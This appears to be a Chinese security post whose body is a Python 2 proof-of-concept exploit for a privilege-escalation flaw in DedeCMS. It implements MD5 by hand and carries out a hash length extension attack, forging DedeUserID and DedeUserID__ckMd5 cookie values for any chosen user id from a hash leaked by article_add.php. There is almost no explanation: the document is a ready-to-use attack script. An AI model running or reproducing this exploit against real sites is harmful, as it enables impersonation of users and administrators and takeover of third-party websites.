【首发】记DedeCMS一处由哈希长度拓展攻击引起的越权漏洞

import sys
import hashlib
import urllib

#此POC只需修改以下两个参数
userid = '1' #此变量就是要伪造的用户id
dede_fieldshash = '8b5d1a6dd0899aff8658b667a0923765' #该值从article_add.php的源码中获取

def genMsgLengthDescriptor(msg_bitsLenth):
    return __import__("struct").pack(">Q",msg_bitsLenth).encode("hex")

def reverse_hex_8bytes(hex_str):
    hex_str = "%016x"%int(hex_str,16)
    assert len(hex_str)==16    
    return __import__("struct").pack("<Q",int(hex_str,16)).encode("hex")

def reverse_hex_4bytes(hex_str):    
    hex_str = "%08x"%int(hex_str,16)
    assert len(hex_str)==8    
    return __import__("struct").pack("<L",int(hex_str,16)).encode("hex")

def deal_rawInputMsg(input_msg):
    ascii_list = [x.encode("hex") for x in input_msg]
    length_msg_bytes = len(ascii_list)
    length_msg_bits = len(ascii_list)*8
    ascii_list.append('80')  
    while (len(ascii_list)*8+64)%512 != 0:  
        ascii_list.append('00')
    ascii_list.append(reverse_hex_8bytes(genMsgLengthDescriptor(length_msg_bits)))
    return "".join(ascii_list)



def getM16(hex_str,operatingBlockNum):
    M = [int(reverse_hex_4bytes(hex_str[i:(i+8)]),16) for i in xrange(128*(operatingBlockNum-1),128*operatingBlockNum,8)]
    return M

def T(i):
    result = (int(4294967296*abs(__import__("math").sin(i))))&0xffffffff
    return result   

F = lambda x,y,z:((x&y)|((~x)&z))
G = lambda x,y,z:((x&z)|(y&(~z)))
H = lambda x,y,z:(x^y^z)
I = lambda x,y,z:(y^(x|(~z)))
RL = L = lambda x,n:(((x<<n)|(x>>(32-n)))&(0xffffffff))

def FF(a, b, c, d, x, s, ac):  
    a = (a+F ((b), (c), (d)) + (x) + (ac)&0xffffffff)&0xffffffff;  
    a = RL ((a), (s))&0xffffffff;  
    a = (a+b)&0xffffffff  
    return a  
def GG(a, b, c, d, x, s, ac):  
    a = (a+G ((b), (c), (d)) + (x) + (ac)&0xffffffff)&0xffffffff;  
    a = RL ((a), (s))&0xffffffff;  
    a = (a+b)&0xffffffff  
    return a  
def HH(a, b, c, d, x, s, ac):  
    a = (a+H ((b), (c), (d)) + (x) + (ac)&0xffffffff)&0xffffffff;  
    a = RL ((a), (s))&0xffffffff;  
    a = (a+b)&0xffffffff  
    return a  
def II(a, b, c, d, x, s, ac):  
    a = (a+I ((b), (c), (d)) + (x) + (ac)&0xffffffff)&0xffffffff;  
    a = RL ((a), (s))&0xffffffff;  
    a = (a+b)&0xffffffff  
    return a      

def show_md5(A,B,C,D):
    return "".join( [  "".join(__import__("re").findall(r"..","%08x"%i)[::-1]) for i in (A,B,C,D)  ]  )

def run_md5(A=0x67452301,B=0xefcdab89,C=0x98badcfe,D=0x10325476,readyMsg=""):

    a = A
    b = B
    c = C
    d = D

    for i in xrange(0,len(readyMsg)/128):
        M = getM16(readyMsg,i+1)
        for i in xrange(16):
            exec "M"+str(i)+"=M["+str(i)+"]"
        #First round
        a=FF(a,b,c,d,M0,7,0xd76aa478L)
        d=FF(d,a,b,c,M1,12,0xe8c7b756L)
        c=FF(c,d,a,b,M2,17,0x242070dbL)
        b=FF(b,c,d,a,M3,22,0xc1bdceeeL)
        a=FF(a,b,c,d,M4,7,0xf57c0fafL)
        d=FF(d,a,b,c,M5,12,0x4787c62aL)
        c=FF(c,d,a,b,M6,17,0xa8304613L)
        b=FF(b,c,d,a,M7,22,0xfd469501L)
        a=FF(a,b,c,d,M8,7,0x698098d8L)
        d=FF(d,a,b,c,M9,12,0x8b44f7afL)
        c=FF(c,d,a,b,M10,17,0xffff5bb1L)
        b=FF(b,c,d,a,M11,22,0x895cd7beL)
        a=FF(a,b,c,d,M12,7,0x6b901122L)
        d=FF(d,a,b,c,M13,12,0xfd987193L)
        c=FF(c,d,a,b,M14,17,0xa679438eL)
        b=FF(b,c,d,a,M15,22,0x49b40821L)
        #Second round
        a=GG(a,b,c,d,M1,5,0xf61e2562L)
        d=GG(d,a,b,c,M6,9,0xc040b340L)
        c=GG(c,d,a,b,M11,14,0x265e5a51L)
        b=GG(b,c,d,a,M0,20,0xe9b6c7aaL)
        a=GG(a,b,c,d,M5,5,0xd62f105dL)
        d=GG(d,a,b,c,M10,9,0x02441453L)
        c=GG(c,d,a,b,M15,14,0xd8a1e681L)
        b=GG(b,c,d,a,M4,20,0xe7d3fbc8L)
        a=GG(a,b,c,d,M9,5,0x21e1cde6L)
        d=GG(d,a,b,c,M14,9,0xc33707d6L)
        c=GG(c,d,a,b,M3,14,0xf4d50d87L)
        b=GG(b,c,d,a,M8,20,0x455a14edL)
        a=GG(a,b,c,d,M13,5,0xa9e3e905L)
        d=GG(d,a,b,c,M2,9,0xfcefa3f8L)
        c=GG(c,d,a,b,M7,14,0x676f02d9L)
        b=GG(b,c,d,a,M12,20,0x8d2a4c8aL)
        #Third round
        a=HH(a,b,c,d,M5,4,0xfffa3942L)
        d=HH(d,a,b,c,M8,11,0x8771f681L)
        c=HH(c,d,a,b,M11,16,0x6d9d6122L)
        b=HH(b,c,d,a,M14,23,0xfde5380c)
        a=HH(a,b,c,d,M1,4,0xa4beea44L)
        d=HH(d,a,b,c,M4,11,0x4bdecfa9L)
        c=HH(c,d,a,b,M7,16,0xf6bb4b60L)
        b=HH(b,c,d,a,M10,23,0xbebfbc70L)
        a=HH(a,b,c,d,M13,4,0x289b7ec6L)
        d=HH(d,a,b,c,M0,11,0xeaa127faL)
        c=HH(c,d,a,b,M3,16,0xd4ef3085L)
        b=HH(b,c,d,a,M6,23,0x04881d05L)
        a=HH(a,b,c,d,M9,4,0xd9d4d039L)
        d=HH(d,a,b,c,M12,11,0xe6db99e5L)
        c=HH(c,d,a,b,M15,16,0x1fa27cf8L)
        b=HH(b,c,d,a,M2,23,0xc4ac5665L)
        #Fourth round
        a=II(a,b,c,d,M0,6,0xf4292244L)
        d=II(d,a,b,c,M7,10,0x432aff97L)
        c=II(c,d,a,b,M14,15,0xab9423a7L)
        b=II(b,c,d,a,M5,21,0xfc93a039L)
        a=II(a,b,c,d,M12,6,0x655b59c3L)
        d=II(d,a,b,c,M3,10,0x8f0ccc92L)
        c=II(c,d,a,b,M10,15,0xffeff47dL)
        b=II(b,c,d,a,M1,21,0x85845dd1L)
        a=II(a,b,c,d,M8,6,0x6fa87e4fL)
        d=II(d,a,b,c,M15,10,0xfe2ce6e0L)
        c=II(c,d,a,b,M6,15,0xa3014314L)
        b=II(b,c,d,a,M13,21,0x4e0811a1L)
        a=II(a,b,c,d,M4,6,0xf7537e82L)
        d=II(d,a,b,c,M11,10,0xbd3af235L)
        c=II(c,d,a,b,M2,15,0x2ad7d2bbL)
        b=II(b,c,d,a,M9,21,0xeb86d391L)


        A += a
        B += b
        C += c
        D += d

        A = A&0xffffffff
        B = B&0xffffffff
        C = C&0xffffffff
        D = D&0xffffffff

        a = A
        b = B
        c = C
        d = D

    return show_md5(a,b,c,d)


cfg_cookie_encode_md5 = dede_fieldshash


s1 = cfg_cookie_encode_md5[0:8]
s1 = '0x' + s1[6:8] + s1[4:6] + s1[2:4] + s1[0:2]
s2 = cfg_cookie_encode_md5[8:16]
s2 = '0x' + s2[6:8] + s2[4:6] + s2[2:4] + s2[0:2]
s3 = cfg_cookie_encode_md5[16:24]
s3 = '0x' + s3[6:8] + s3[4:6] + s3[2:4] + s3[0:2]
s4 = cfg_cookie_encode_md5[24:36]
s4 = '0x' + s4[6:8] + s4[4:6] + s4[2:4] + s4[0:2]
exec('s1=%s' %s1)
exec('s2=%s' %s2)
exec('s3=%s' %s3)
exec('s4=%s' %s4)

#这里的循环产生5种可能的DedeUserID，原因是$cfg_cookie_encode的长度无法预测

for origin_length in range(28,33):
    if origin_length != 32:
        length = chr(origin_length*8)
        secret_admin = 'a'*origin_length+'\x80'+'\x00'*(64-origin_length-1-8)+length+'\x00'*7 + userid
    else:
        secret_admin = 'a'*origin_length+'\x80'+'\x00'*(64-origin_length-1-8)+'\x00\x01'+'\x00'*6 + userid



    r = deal_rawInputMsg(secret_admin)

    inp = r[len(r)/2:]
    ans = ''
    cnt = 0

    for i in r[:len(r)/2]:
        if(cnt%2 == 0):
            ans += '%'
        ans += i
        cnt += 1

    print "DedeUserID: "+ans[(origin_length*3):]+userid
    print 


print "DedeUserID__ckMd5: "+run_md5(s1,s2,s3,s4,inp)[0:16]